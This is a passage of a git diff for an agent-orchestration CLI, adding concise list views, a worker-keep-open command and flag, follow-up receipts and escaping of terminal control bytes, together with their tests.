'2026-10-31 00:00:00' + } + ], count: 1 }) ) @@ -180,6 +190,15 @@ describe('orchestration gate commands carry caller identity', () => { await main(['orchestration', 'gate-list', '--run', 'run_adopted', '--json'], '/tmp/repo') expect(process.exitCode).toBe(0) + expect(JSON.parse(String(logSpy.mock.calls[0]?.[0])).result.gates).toEqual([ + { + id: 'gate_1', + taskId: 'task_1', + status: 'pending', + question: 'ship?', + options: '["yes","no"]' + } + ]) expect(getTerminalHandleMock).not.toHaveBeenCalled() expect(paramsFor('orchestration.gateList')).toEqual( expect.objectContaining({ run: 'run_adopted', from: undefined }) diff --git a/src/cli/handlers/orchestration-task-list-brief.test.ts b/src/cli/handlers/orchestration-task-list-brief.test.ts index 4aee06fab3a..7646f2befc3 100644 --- a/src/cli/handlers/orchestration-task-list-brief.test.ts +++ b/src/cli/handlers/orchestration-task-list-brief.test.ts @@ -71,3 +71,37 @@ describe('orchestration task-list brief output', () => { expect(response).toHaveProperty('result.tasks', serverTasks) }) }) + +describe('orchestration task-list concise output', () => { + it('lists each task without its spec or result', async () => { + const log = vi.spyOn(console, 'log').mockImplementation(() => {}) + vi.spyOn(client, 'call').mockImplementation(callMock) + callMock.mockReset().mockResolvedValue( + okFixture('req_tasks', { + tasks: [ + { + id: 'task_1', + spec: 'long spec '.repeat(200), + task_title: 'Audit', + status: 'completed', + result: 'long result '.repeat(200), + dispatch_id: 'ctx_1' + } + ], + count: 1 + }) + ) + await ORCHESTRATION_HANDLERS['orchestration task-list']({ + flags: new Map([['run', 'run_1']]), + client, + cwd: '/tmp/repo', + json: true + }) + expect(JSON.parse(String(log.mock.calls[0]?.[0]))).toEqual({ + ok: true, + result: { + tasks: [{ id: 'task_1', status: 'completed', title: 'Audit', dispatchId: 'ctx_1' }] + } + }) + }) +}) diff --git a/src/cli/handlers/orchestration-worker-cli.test.ts b/src/cli/handlers/orchestration-worker-cli.test.ts index 5bfc5d3a329..96d39e31319 100644 --- a/src/cli/handlers/orchestration-worker-cli.test.ts +++ b/src/cli/handlers/orchestration-worker-cli.test.ts @@ -12,8 +12,10 @@ import { ORCHESTRATION_HANDLERS } from './orchestration' import { printResult } from '../format' import { parseArgs, validateCommandAndFlags } from '../args' import { formatCommandHelp } from '../help' +import { buildAgentContext } from '../agent-context' +import { suggestCommands } from '../command-suggestion' import { okFixture } from '../test-fixtures' -import { RuntimeClient } from '../runtime-client' +import { RuntimeClient, RuntimeClientError } from '../runtime-client' import { ORCHESTRATION_WORKER_COMMAND_SPECS } from '../specs/orchestration-worker-specs' import { ORCHESTRATION_WORKER_LAUNCH_PREFERENCES_RUNTIME_CAPABILITY } from '../../shared/protocol-version' @@ -739,10 +741,8 @@ describe('orchestration worker-start CLI contract', () => { }) it('keeps cleanup and retention TTL controls off the public CLI surface', async () => { - const retained = parseArgs(['orchestration', 'worker-retain', '--dispatch', 'ctx_1']) - expect(() => - validateCommandAndFlags(ORCHESTRATION_WORKER_COMMAND_SPECS, retained) - ).not.toThrow() + const kept = parseArgs(['orchestration', 'worker-keep-open', '--dispatch', 'ctx_1']) + expect(() => validateCommandAndFlags(ORCHESTRATION_WORKER_COMMAND_SPECS, kept)).not.toThrow() expect(() => validateCommandAndFlags( ORCHESTRATION_WORKER_COMMAND_SPECS, @@ -752,21 +752,15 @@ describe('orchestration worker-start CLI contract', () => { expect(() => validateCommandAndFlags( ORCHESTRATION_WORKER_COMMAND_SPECS, - parseArgs(['orchestration', 'worker-retain', '--until', '2099-01-01T00:00:00Z']) + parseArgs(['orchestration', 'worker-keep-open', '--until', '2099-01-01T00:00:00Z']) ) - ).toThrow('Unknown flag --until for command: orchestration worker-retain') - expect(() => - validateCommandAndFlags( - ORCHESTRATION_WORKER_COMMAND_SPECS, - parseArgs(['orchestration', 'worker-retain', '--policy', 'forever']) - ) - ).toThrow('Unknown flag --policy for command: orchestration worker-retain') + ).toThrow('Unknown flag --until for command: orchestration worker-keep-open') callMock.mockResolvedValue({ result: { dispatchId: 'ctx_1', state: 'retained', processAction: 'none' } }) - await ORCHESTRATION_HANDLERS['orchestration worker-retain']({ - flags: retained.flags, + await ORCHESTRATION_HANDLERS['orchestration worker-keep-open']({ + flags: kept.flags, client, cwd: '/tmp/repo', json: true @@ -774,6 +768,87 @@ describe('orchestration worker-start CLI contract', () => { expect(callMock).toHaveBeenCalledWith('orchestration.workerRetain', { dispatch: 'ctx_1' }) }) + it('still runs worker-retain without listing or suggesting it', () => { + const parsed = parseArgs(['orchestration', 'worker-retain', '--dispatch', 'ctx_1']) + expect(() => validateCommandAndFlags(ORCHESTRATION_WORKER_COMMAND_SPECS, parsed)).not.toThrow() + expect(ORCHESTRATION_HANDLERS['orchestration worker-retain']).toBe( + ORCHESTRATION_HANDLERS['orchestration worker-keep-open'] + ) + const listed = buildAgentContext(ORCHESTRATION_WORKER_COMMAND_SPECS).commands + expect(JSON.stringify(listed)).not.toContain('worker-retain') + expect( + suggestCommands(ORCHESTRATION_WORKER_COMMAND_SPECS, ['orchestration', 'worker-retai']) + ).not.toContain('orchestration worker-retain') + }) + + it('keeps a worker started with --keep-open open after it finishes', async () => { + callMock.mockImplementation(async (method: string) => + method === 'orchestration.workerStart' + ? { result: { taskId: 'task_1', dispatchId: 'ctx_1', state: 'ready', effects: [] } } + : { result: { dispatchId: 'ctx_1', state: 'retained', processAction: 'none' } } + ) + await invokeWorkerStart( + new Map([ + ['task', 'task_1'], + ['agent', 'codex'], + ['keep-open', true] + ]), + false + ) + expect(callMock).toHaveBeenLastCalledWith('orchestration.workerRetain', { dispatch: 'ctx_1' }) + expect(printedText()).toContain('keptOpen=true') + }) + + it.each([ + [ + 'released', + { result: { dispatchId: 'ctx_1', state: 'already_released', processAction: 'none' } }, + 'worker-read' + ], + [ + 'no owned terminal', + { + result: { + dispatchId: 'ctx_1', + state: 'retained', + reason: 'no_owned_resource', + processAction: 'none' + } + }, + 'worker-show' + ], + ['error', new RuntimeClientError('runtime_unavailable', 'gone'), 'worker-keep-open'] + ])( + 'prints the start receipt then fails a --keep-open that was not kept (%s)', + async (_, retain, verb) => { + vi.spyOn(console, 'error').mockImplementation(() => {}) + callMock.mockImplementation(async (method: string) => { + if (method === 'orchestration.workerStart') { + return { result: { taskId: 'task_1', dispatchId: 'ctx_1', state: 'ready', effects: [] } } + } + if (method === 'orchestration.workerRetain' && retain instanceof Error) { + throw retain + } + return retain + }) + await invokeWorkerStart( + new Map([ + ['task', 'task_1'], + ['agent', 'codex'], + ['keep-open', true] + ]), + false + ) + const text = printedText() + expect(text).toContain('dispatchId=ctx_1') + expect(text).not.toContain('keptOpen') + const error = String(vi.mocked(console.error).mock.calls[0]?.[0]) + expect(error).toContain('not_kept_open') + expect(error).toContain(`${verb} --dispatch ctx_1`) + expect(process.exitCode).toBe(1) + } + ) + it('does not tell a coordinator that chat workers skip automatic release', () => { const spec = ORCHESTRATION_WORKER_COMMAND_SPECS.find( (entry) => entry.path.join(' ') === 'orchestration worker-release' diff --git a/src/cli/handlers/orchestration/agent-view.test.ts b/src/cli/handlers/orchestration/agent-view.test.ts index a826720d8b5..8a65341cd3c 100644 --- a/src/cli/handlers/orchestration/agent-view.test.ts +++ b/src/cli/handlers/orchestration/agent-view.test.ts @@ -99,6 +99,19 @@ describe('orchestration agent views', () => { expect(process.exitCode).toBe(1) }) + it('escapes terminal control bytes in worker-written fields', async () => { + const { stdout } = await run('worker-start', [['task', 'task_1']], { + ...OLDER_RUNTIME_START, + state: 'failed', + failedStage: 'agent\x1b]0;x\x07', + lastError: 'bad \x9b31m output' + }) + for (const raw of ['\x1b', '\x07', '\x9b']) { + expect(stdout).not.toContain(raw) + } + expect(stdout).toContain('failedStage=agent\\x1b]0;x\\x07') + }) + it('prints a question with its payload kept apart and a reply command for this executable', async () => { const question = { id: 'msg_q', @@ -178,6 +191,36 @@ describe('orchestration agent views', () => { ) }) + it('prints a follow-up as where it went, naming the launch mode only for a fresh start', async () => { + const followUp = (delivery: string) => + run( + 'send', + [ + ['to', 'dispatch:ctx_1'], + ['subject', 'More'] + ], + { + ...OLDER_RUNTIME_START, + dispatchId: 'ctx_2', + delivery, + followUpOf: 'ctx_1', + turnStart: 'queued', + mode: { + mode: 'terminal', + preferred: 'terminal', + detail: 'Started a terminal agent worker.' + }, + next: 'Orca wakes you when workers report; end your turn.' + } + ) + + expect((await followUp('reopened')).stdout).toBe( + 'delivery=reopened followUpOf=ctx_1 dispatchId=ctx_2 taskId=task_1 runId=run_1 state=ready terminal=term_agent workspace=wt_1::/repo queued=true\n' + + 'Next: Orca wakes you when workers report; end your turn.' + ) + expect((await followUp('started_fresh')).stdout).toContain('mode=terminal') + }) + it('lists each worker with its agent terminal and a runnable next action', async () => { const { stdout } = await run('worker-list', [['run', 'run_1']], { workers: [ diff --git a/src/cli/handlers/orchestration/agent-view.ts b/src/cli/handlers/orchestration/agent-view.ts index e4ca3fdf95e..0e7e9742f7f 100644 --- a/src/cli/handlers/orchestration/agent-view.ts +++ b/src/cli/handlers/orchestration/agent-view.ts @@ -5,6 +5,7 @@ import { renderCommand } from '../../orchestration-mutation-recovery' import { resolveOrchestrationCliExecutable } from '../../runtime/orchestration-recovery-command' import type { RuntimeRpcSuccess } from '../../runtime-client' import { withReceiptNext } from './receipt-next-text' +import { escapeTerminalControlCharacters } from '../../../shared/terminal-control-character-escape' type AgentViewFields = Record @@ -115,8 +116,8 @@ function formatFieldValue(value: unknown): string { return value.length ? value.map(formatFieldValue).join(',') : 'none' } const text = typeof value === 'string' ? value : JSON.stringify(value) - // Quote anything that would split a name=value pair. - return /^[^\s"',=]+$/.test(text) ? text : JSON.stringify(text) + // Quote anything that would split a name=value pair; never pass raw control bytes to the terminal. + return escapeTerminalControlCharacters(/^[^\s"',=]+$/.test(text) ? text : JSON.stringify(text)) } function isFieldRecord(value: unknown): value is AgentViewFields { diff --git a/src/cli/handlers/orchestration/concise-list-row-size.test.ts b/src/cli/handlers/orchestration/concise-list-row-size.test.ts new file mode 100644 index 00000000000..8a373e5845e --- /dev/null +++ b/src/cli/handlers/orchestration/concise-list-row-size.test.ts @@ -0,0 +1,144 @@ +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' + +vi.mock('../../selectors', () => ({ getTerminalHandle: vi.fn() })) + +import { ORCHESTRATION_HANDLERS } from '../orchestration' +import { orchestrationTestContext } from '../orchestration-handler-test-context' + +const HUGE = 'x'.repeat(10_000) +// Message bodies and gate questions are what check, inbox, and gate-list exist to show. +const CONTENT = 'c'.repeat(10_000) +const MAX_ROW_CHARS = 500 + +const message = { + id: 'msg_1', + from_handle: 'dispatch:ctx_1', + to_handle: 'run:run_1', + subject: 'Done', + body: CONTENT, + type: 'worker_done', + priority: 'normal', + read: 0, + thread_id: 'msg_1', + payload: JSON.stringify({ taskId: 'task_1', dispatchId: 'ctx_1' }), + created_at: '2026-10-31T00:00:00Z' +} + +const LISTS: [string, [string, string][], string, unknown][] = [ + [ + 'task-list', + [['run', 'run_1']], + 'tasks', + { + tasks: [ + { id: 'task_1', spec: HUGE, status: 'completed', result: HUGE, dispatch_id: 'ctx_1' } + ], + count: 1 + } + ], + [ + 'worker-list', + [['run', 'run_1']], + 'workers', + { + workers: [ + { + dispatchId: 'ctx_1', + taskId: 'task_1', + runId: 'run_1', + workerState: 'failed', + dispatchStatus: 'failed', + agentTerminalHandle: 'term_1', + terminalState: 'released', + lastError: HUGE, + output: HUGE, + projection: { + host: { id: 'local' }, + stage: { activity: 'failed' }, + liveness: { verdict: 'exited' }, + nextAction: { argv: [] }, + description: HUGE + } + } + ], + counts: { released: 1 }, + page: { hasMore: false, nextCursor: null, total: 1 } + } + ], + [ + 'gate-list', + [['run', 'run_1']], + 'gates', + { + gates: [ + { + id: 'gate_1', + task_id: 'task_1', + question: CONTENT, + options: '["yes","no"]', + status: 'resolved', + resolution: HUGE + } + ], + count: 1 + } + ], + [ + 'run-list', + [], + 'runs', + { runs: [{ id: 'run_1', objective: HUGE, legacy: 0 }], nextCursor: null } + ], + ['inbox', [], 'messages', { messages: [message], count: 1 }], + [ + 'check', + [['run', 'run_1']], + 'messages', + { + runId: 'run_1', + deliveryId: 'delivery_1', + deliveryAcknowledged: true, + messages: [message], + count: 1 + } + ] +] + +async function printed(command: string, flags: [string, string][], result: unknown, json: boolean) { + const callMock = vi.fn().mockResolvedValue({ id: 'req_1', ok: true, result, _meta: {} }) + const log = vi + .spyOn(console, 'log') + .mockClear() + .mockImplementation(() => {}) + await ORCHESTRATION_HANDLERS[`orchestration ${command}`]( + orchestrationTestContext(callMock, new Map(flags), json) + ) + return log.mock.calls.map(([line]) => String(line).replaceAll(CONTENT, '')).join('\n') +} + +describe('concise orchestration list output', () => { + beforeEach(() => { + vi.stubEnv('ORCA_TERMINAL_HANDLE', 'term_coord') + vi.stubEnv('ORCA_AGENT_SESSION_ID', undefined) + }) + + afterEach(() => { + vi.unstubAllEnvs() + vi.restoreAllMocks() + }) + + it.each(LISTS)( + 'keeps each %s row short when stored text is huge', + async (command, flags, key, result) => { + const text = await printed(command, flags, result, false) + const json: { result: Record } = JSON.parse( + await printed(command, flags, result, true) + ) + const rows = [...text.split('\n'), ...json.result[key].map((row) => JSON.stringify(row))] + expect(rows.length).toBeGreaterThan(1) + for (const row of rows) { + expect(row.length).toBeLessThan(MAX_ROW_CHARS) + } + } + ) +}) diff --git a/src/cli/handlers/orchestration/gate-handlers.ts b/src/cli/handlers/orchestration/gate-handlers.ts index dcf231f35e1..9d264c2b804 100644 --- a/src/cli/handlers/orchestration/gate-handlers.ts +++ b/src/cli/handlers/orchestration/gate-handlers.ts @@ -50,7 +50,7 @@ export const ORCHESTRATION_GATE_HANDLERS: Record = { ? runScopedSessionCaller(flags) : await resolveCoordinatorTerminalHandle(flags, cwd, client) const result = await client.call<{ - gates: { id: string; task_id: string; question: string; status: string }[] + gates: { id: string; task_id: string; question: string; options?: string; status: string }[] count: number runId?: string }>('orchestration.gateList', { @@ -60,7 +60,19 @@ export const ORCHESTRATION_GATE_HANDLERS: Record = { from }) if (!flags.has('full')) { - printOrchestrationResult(result, json, { fields: (value) => value }) + // Rows also carry resolutions and timestamps that no next command takes. + printOrchestrationResult(result, json, { + fields: (value) => ({ + gates: value.gates.map((gate) => ({ + id: gate.id, + taskId: gate.task_id, + status: gate.status, + question: gate.question, + options: gate.options && gate.options !== '[]' ? gate.options : undefined + })), + runId: value.runId + }) + }) return } printResult(result, json, (value) => { diff --git a/src/cli/handlers/orchestration/message-send-handler.ts b/src/cli/handlers/orchestration/message-send-handler.ts index 717ff365394..ca9991e77c2 100644 --- a/src/cli/handlers/orchestration/message-send-handler.ts +++ b/src/cli/handlers/orchestration/message-send-handler.ts @@ -2,6 +2,9 @@ import type { CommandHandler } from '../../dispatch' import { printResult } from '../../format' import { printOrchestrationResult } from './agent-view' import { withReceiptNext } from './receipt-next-text' +import { formatWorkerStart } from './worker-output' +import { WORKER_FOLLOW_UP_VIEW, type WorkerFollowUpReceipt } from './worker-start-agent-view' +import { withResolvedNextCommands } from '../../orchestration-mutation-recovery' import { getOptionalStringFlag, getRequiredStringFlag } from '../../flags' import { RuntimeClientError } from '../../runtime-client' import { readInjectedAgentSessionId } from '../../../shared/agent-session-caller-env' @@ -42,6 +45,7 @@ type OrchestrationSendResult = { next?: string } & ( recipients: number warnings?: SendRecipientWarning[] } + | (WorkerFollowUpReceipt & { warnings?: SendRecipientWarning[] }) | { relay: { messageId: string @@ -124,10 +128,22 @@ export const ORCHESTRATION_SEND_HANDLER: Record = { throw new RuntimeClientError(result.result.lifecycle.code, result.result.lifecycle.reason) } if (!flags.has('full')) { - printOrchestrationResult(result, json, { fields: sendFields }) + if ('delivery' in result.result) { + const followUp = withResolvedNextCommands(result.result) + printOrchestrationResult({ ...result, result: followUp }, json, WORKER_FOLLOW_UP_VIEW) + } else { + printOrchestrationResult({ ...result, result: result.result }, json, { fields: sendFields }) + } return } - printResult(result, json, (value) => { + if ('delivery' in result.result && result.result.state !== 'ready') { + process.exitCode = 1 + } + const rendered = + 'delivery' in result.result + ? { ...result, result: withResolvedNextCommands(result.result) } + : result + printResult(rendered, json, (value) => { const warnings = 'warnings' in value ? (value.warnings ?? []) : [] const withWarnings = (line: string): string => withReceiptNext( @@ -142,6 +158,14 @@ export const ORCHESTRATION_SEND_HANDLER: Record = { : '' return withWarnings(`Sent ${value.message.id}${autoRelease}`) } + if ('delivery' in value) { + return withWarnings( + `Follow-up of ${value.followUpOf} (${value.delivery})\n${formatWorkerStart( + // The mode line describes a new launch; only a fresh start is one. + value.delivery === 'started_fresh' ? value : { ...value, mode: undefined } + )}` + ) + } if ('relay' in value) { if (value.relay.destination === 'worker') { return withWarnings( @@ -172,7 +196,7 @@ type SendFields = { } // The message row echoes what the caller just sent; only its id is new. -function sendFields(value: OrchestrationSendResult): SendFields { +function sendFields(value: Exclude): SendFields { const lifecycle = 'lifecycle' in value ? value.lifecycle : undefined const common = { lifecycle: lifecycle?.action, diff --git a/src/cli/handlers/orchestration/run-handlers.ts b/src/cli/handlers/orchestration/run-handlers.ts index 97f7af4124d..b023c2dbf91 100644 --- a/src/cli/handlers/orchestration/run-handlers.ts +++ b/src/cli/handlers/orchestration/run-handlers.ts @@ -1,3 +1,4 @@ +import { abbreviateOrchestrationText } from '../../../shared/orchestration-task-summary' import type { CommandHandler } from '../../dispatch' import { printResult } from '../../format' import { printOrchestrationResult } from './agent-view' @@ -94,7 +95,8 @@ export const ORCHESTRATION_RUN_HANDLERS: Record = { fields: (r) => ({ runs: r.runs.map((run) => { const { runId, ...rest } = runFields(run) - return { id: runId, ...rest } + // Objectives are caller-written and unbounded; --full prints them whole. + return { id: runId, ...rest, objective: abbreviateOrchestrationText(run.objective) } }), nextCursor: r.nextCursor ?? undefined }) diff --git a/src/cli/handlers/orchestration/task-agent-views.ts b/src/cli/handlers/orchestration/task-agent-views.ts index ee72b1d8cb7..1b2d86eb75f 100644 --- a/src/cli/handlers/orchestration/task-agent-views.ts +++ b/src/cli/handlers/orchestration/task-agent-views.ts @@ -28,17 +28,14 @@ export const TASK_RECEIPT_VIEW: OrchestrationAgentView< } export const TASK_LIST_VIEW: OrchestrationAgentView> = { - // Rows also carry creator identity and timestamps that no next command takes. + // Specs and results are free text that grows with the Run; --full keeps them. fields: (r) => ({ tasks: r.tasks.map((task) => ({ id: task.id, status: task.status, - title: task.display_name ?? task.task_title ?? undefined, - spec: task.spec, - specTruncated: task.spec_truncated || undefined, + title: task.display_name ?? task.task_title ?? task.spec.slice(0, 60), deps: task.deps && task.deps !== '[]' ? task.deps : undefined, parentId: task.parent_id ?? undefined, - result: task.result ?? undefined, dispatchId: task.dispatch_id ?? undefined, assignee: task.assignee_handle ?? undefined })), diff --git a/src/cli/handlers/orchestration/task-handlers.ts b/src/cli/handlers/orchestration/task-handlers.ts index cfc00bb1fb5..b5647fe55a7 100644 --- a/src/cli/handlers/orchestration/task-handlers.ts +++ b/src/cli/handlers/orchestration/task-handlers.ts @@ -6,6 +6,7 @@ import { getOptionalStringFlag, getRequiredStringFlag } from '../../flags' import { RuntimeClientError } from '../../runtime-client' import { abbreviateOrchestrationTasks } from '../../../shared/orchestration-task-summary' import { callOrchestrationMutation } from './mutation-request' +import { readTextOrFileFlag } from '../../command-body-input' import { resolveCoordinatorTerminalHandle, runScopedSessionCaller } from './terminal-identity' const TASK_STATUS_VALUES = [ @@ -25,7 +26,7 @@ export const ORCHESTRATION_TASK_HANDLERS: Record = { flags, 'orchestration.taskCreate', { - spec: getRequiredStringFlag(flags, 'spec'), + spec: await readTextOrFileFlag(flags, cwd, 'spec', true), taskTitle: getOptionalStringFlag(flags, 'task-title'), displayName: getOptionalStringFlag(flags, 'display-name'), deps: getOptionalStringFlag(flags, 'deps'), diff --git a/src/cli/handlers/orchestration/worker-agent-views.ts b/src/cli/handlers/orchestration/worker-agent-views.ts index 0e59dfac6eb..d757af24f58 100644 --- a/src/cli/handlers/orchestration/worker-agent-views.ts +++ b/src/cli/handlers/orchestration/worker-agent-views.ts @@ -21,6 +21,7 @@ export type WorkerShowResult = { taskId: string runId?: string status: string + followUpOf?: string | null } | null worker: { dispatchId?: string @@ -43,6 +44,7 @@ type WorkerShowFields = { dispatchId: string taskId?: string runId?: string + followUpOf?: string state: string stage: string liveness?: string @@ -63,6 +65,7 @@ export const WORKER_SHOW_VIEW: OrchestrationAgentView = { 'orchestration worker-start': async ({ flags, client, cwd, json }) => { @@ -34,7 +39,7 @@ export const ORCHESTRATION_WORKER_LAUNCH_HANDLER: Record } } const task = getOptionalStringFlag(flags, 'task') - const spec = getOptionalStringFlag(flags, 'spec') + const spec = await readTextOrFileFlag(flags, cwd, 'spec', false) const taskTitle = getOptionalStringFlag(flags, 'task-title') const deps = getOptionalStringFlag(flags, 'deps') const parent = getOptionalStringFlag(flags, 'parent') @@ -80,21 +85,54 @@ export const ORCHESTRATION_WORKER_LAUNCH_HANDLER: Record if (result.result.state !== 'ready') { process.exitCode = 1 } - const renderedResult = result.result.nextCommands - ? { - ...result, - result: { - ...result.result, - nextCommands: result.result.nextCommands.map((command) => - renderResolvedOrchestrationCommand(command) - ) - } - } - : result - if (!flags.has('full')) { + const keepOpenState = + flags.has('keep-open') && + (result.result.state === 'ready' || isUnobservedTurnStart(result.result)) + ? await keepWorkerOpen(client, result.result.dispatchId) + : undefined + const renderedResult = { + ...result, + result: { + ...withResolvedNextCommands(result.result), + ...(keepOpenState === 'retained' ? { keptOpen: true as const } : {}) + } + } + if (flags.has('full')) { + printResult(renderedResult, json, (value) => + withReceiptNext( + `${formatWorkerStart(value)}${value.keptOpen ? '\nKept open after it finishes' : ''}`, + value + ) + ) + } else { printOrchestrationResult(renderedResult, json, WORKER_START_VIEW) - return + } + if (keepOpenState && keepOpenState !== 'retained') { + const dispatchId = result.result.dispatchId + // The worker runs either way, so the next step never starts it again. + const verb = + keepOpenState === 'already_released' + ? 'worker-read' + : keepOpenState.startsWith('release_') || keepOpenState === 'no_owned_resource' + ? 'worker-show' + : 'worker-keep-open' + reportOrchestrationFailure({ + code: 'not_kept_open', + message: `${dispatchId} started but was not kept open (${keepOpenState}). Run ${renderOrchestrationArgv(['orchestration', verb, '--dispatch', dispatchId])}.` + }) } - printResult(renderedResult, json, (value) => withReceiptNext(formatWorkerStart(value), value)) + } +} + +// Every host version serves workerRetain, so older servers keep the worker open too. +async function keepWorkerOpen(client: RuntimeClient, dispatch: string): Promise { + try { + const { result } = await client.call('orchestration.workerRetain', { + dispatch + }) + // A retained receipt without an owned terminal kept nothing open. + return result.reason === 'no_owned_resource' ? result.reason : result.state + } catch (error) { + return error instanceof RuntimeClientError ? error.code : 'keep_open_failed' } } diff --git a/src/cli/handlers/orchestration/worker-observation-handlers.ts b/src/cli/handlers/orchestration/worker-observation-handlers.ts index 2d05b364a42..f48c5ddce92 100644 --- a/src/cli/handlers/orchestration/worker-observation-handlers.ts +++ b/src/cli/handlers/orchestration/worker-observation-handlers.ts @@ -27,6 +27,9 @@ export const ORCHESTRATION_WORKER_OBSERVATION_HANDLERS: Record & { + delivery: WorkerFollowUpReceipt['delivery'] + followUpOf: string + /** Behind the worker's own finishing turn: it runs when that turn ends. */ + queued?: true + mode?: string + modeDetail?: string +} + +export const WORKER_FOLLOW_UP_VIEW: OrchestrationAgentView< + WorkerFollowUpReceipt, + WorkerFollowUpFields +> = { + fields: (value) => { + const { mode, modeDetail, ...start } = WORKER_START_VIEW.fields(value) + return { + delivery: value.delivery, + followUpOf: value.followUpOf, + ...start, + queued: value.turnStart === 'queued' ? true : undefined, + // The launch mode describes a new worker; only a fresh start is one. + ...(value.delivery === 'started_fresh' ? { mode, modeDetail } : {}) + } + }, + failure: WORKER_START_VIEW.failure +} + function findEffectId( effects: unknown[] | undefined, kind: string, diff --git a/src/cli/handlers/orchestration/worker-terminal-handlers.ts b/src/cli/handlers/orchestration/worker-terminal-handlers.ts index 7b92c01005c..48fe4dc42eb 100644 --- a/src/cli/handlers/orchestration/worker-terminal-handlers.ts +++ b/src/cli/handlers/orchestration/worker-terminal-handlers.ts @@ -22,6 +22,23 @@ const WORKER_TERMINAL_LIST_STATES = [ 'released' ] as const +const keepWorkerOpen: CommandHandler = async ({ flags, client, json }) => { + const result = await callOrchestrationMutation( + client, + flags, + 'orchestration.workerRetain', + { dispatch: getRequiredStringFlag(flags, 'dispatch') } + ) + if (!flags.has('full')) { + printOrchestrationResult(result, json, WORKER_RELEASE_VIEW) + return + } + if (result.result.state === 'release_unknown') { + process.exitCode = 1 + } + printResult(result, json, formatWorkerRelease) +} + export const ORCHESTRATION_WORKER_TERMINAL_HANDLERS: Record = { 'orchestration worker-stop': async ({ flags, client, json }) => { const result = await callOrchestrationMutation<{ @@ -88,22 +105,8 @@ export const ORCHESTRATION_WORKER_TERMINAL_HANDLERS: Record { - const result = await callOrchestrationMutation( - client, - flags, - 'orchestration.workerRetain', - { dispatch: getRequiredStringFlag(flags, 'dispatch') } - ) - if (!flags.has('full')) { - printOrchestrationResult(result, json, WORKER_RELEASE_VIEW) - return - } - if (result.result.state === 'release_unknown') { - process.exitCode = 1 - } - printResult(result, json, formatWorkerRelease) - }, + 'orchestration worker-keep-open': keepWorkerOpen, + 'orchestration worker-retain': keepWorkerOpen, 'orchestration worker-list': async ({ flags, client, cwd, json }) => { const terminalState = getOptionalStringFlag(flags, 'terminal-state') diff --git a/src/cli/orchestration-mutation-recovery.ts b/src/cli/orchestration-mutation-recovery.ts index f79d2094cd0..33fd545f3f4 100644 --- a/src/cli/orchestration-mutation-recovery.ts +++ b/src/cli/orchestration-mutation-recovery.ts @@ -47,7 +47,14 @@ export function orchestrationMutationRecoveryError(error: unknown): unknown { ? `After inspecting the Dispatch, if keyed recovery is still needed, run ${renderCommand(retryCommand)} from this same terminal. --retry-request reuses the same operation identity so Orca can replay, join, or safely recover it without starting a separate duplicate.` : `If request-show reports completed or pending, run ${renderCommand(retryCommand)} from this same terminal. --retry-request reuses the same operation identity so Orca can replay, join, or safely recover it without starting a separate duplicate. If request-show reports absent, inspect the affected state before deciding whether to retry; absence does not prove a retry is safe.` : 'Recovery is blocked until the exact original command is available; no retry command was emitted.' - const nextSteps = [`Run ${renderCommand(queryCommand)} before retrying.`, retryStep] + const readsStdin = retryCommand?.some( + (arg, i) => arg === '-' && /^--[\w-]+-file$/.test(retryCommand[i - 1] ?? '') + ) + const nextSteps = [ + `Run ${renderCommand(queryCommand)} before retrying.`, + retryStep, + ...(readsStdin ? ['Pipe the same input into the retry again; it reads stdin.'] : []) + ] const message = [ stripUnsafeRetryAdvice(error.message, requestId), 'The orchestration mutation may already have taken effect; do not assume it failed.', @@ -215,3 +222,15 @@ function stripUnsafeRetryAdvice(message: string, requestId: string): string { .replace(' Retry the command.', '') .replace(` Orchestration mutation request ID: ${requestId}.`, '') } + +/** Receipts name recovery commands as `orca …`; resolve them for this install before any output, JSON included. */ +export function withResolvedNextCommands(receipt: T): T { + return receipt.nextCommands + ? { + ...receipt, + nextCommands: receipt.nextCommands.map((command) => + renderResolvedOrchestrationCommand(command) + ) + } + : receipt +} diff --git a/src/cli/plugin-authoring/plugin-content-templates.ts b/src/cli/plugin-authoring/plugin-content-templates.ts index da962b05060..371cfd3654f 100644 --- a/src/cli/plugin-authoring/plugin-content-templates.ts +++ b/src/cli/plugin-authoring/plugin-content-templates.ts @@ -105,7 +105,7 @@ export function iconTheme(input: PluginTemplateInput): PluginTemplate { 'icons/markdown.svg': MARKDOWN_ICON, 'README.md': readme( input, - 'An Orca icon theme. `icons/theme.json` maps slots, file names and extensions to SVG files (paths from the plugin root).' + 'An Orca icon theme. `icons/theme.json` maps slots, file names, extensions and folder names (`folderNames`, `folderNamesExpanded`) to SVG files (paths from the plugin root).' ), ...COMMON_FILES } diff --git a/src/cli/root-help-text-primary.ts b/src/cli/root-help-text-primary.ts index 3504fcfd68c..a30a904b4d3 100644 --- a/src/cli/root-help-text-primary.ts +++ b/src/cli/root-help-text-primary.ts @@ -141,7 +141,7 @@ export const ROOT_HELP_TEXT_PRIMARY = [ ' orchestration worker-stop Fence one Dispatch; stop only its supervised worker', ' orchestration worker-abandon Fence an uncertain worker without claiming it stopped', " orchestration worker-release Release a settled worker's terminal after archiving its output", - ' orchestration worker-retain Keep a worker terminal live for debugging', + ' orchestration worker-keep-open Keep a worker open after it finishes', ' orchestration worker-list Report worker terminal resource accounting', ' orchestration coordinator-start Retired: load the current orchestration skill', ' orchestration coordinator-stop Retired: load the current orchestration skill', diff --git a/src/cli/runtime/client.ts b/src/cli/runtime/client.ts index b711baee051..0ba43f6ec88 100644 --- a/src/cli/runtime/client.ts +++ b/src/cli/runtime/client.ts @@ -203,6 +203,10 @@ export class RuntimeClient { const readiness = resolveWorkerStartReadinessTimeoutMs(requested) return Math.max(resolveWorkerStartClientTimeoutMs(readiness), this.requestTimeoutMs) } + // A send to a finished worker starts its follow-up, which waits as worker-start does. + if (method === 'orchestration.send') { + return Math.max(resolveWorkerStartClientTimeoutMs(), this.requestTimeoutMs) + } if ( (method === 'orchestration.check' && isWaitingCheck(params)) || method === 'terminal.wait' diff --git a/src/cli/runtime/orchestration-recovery-command.test.ts b/src/cli/runtime/orchestration-recovery-command.test.ts index 68c0a72c507..96c78edb50c 100644 --- a/src/cli/runtime/orchestration-recovery-command.test.ts +++ b/src/cli/runtime/orchestration-recovery-command.test.ts @@ -112,7 +112,7 @@ describe('orchestration recovery command identity', () => { ).toEqual(['orca-ide', 'orchestration', 'worker-stop', '--dispatch', 'dispatch_1']) }) - it('reconstructs worker-retain when raw argv is unavailable', () => { + it('reconstructs worker-keep-open when raw argv is unavailable', () => { expect( buildOrchestrationRecoveryCommand('orchestration.workerRetain', { dispatch: 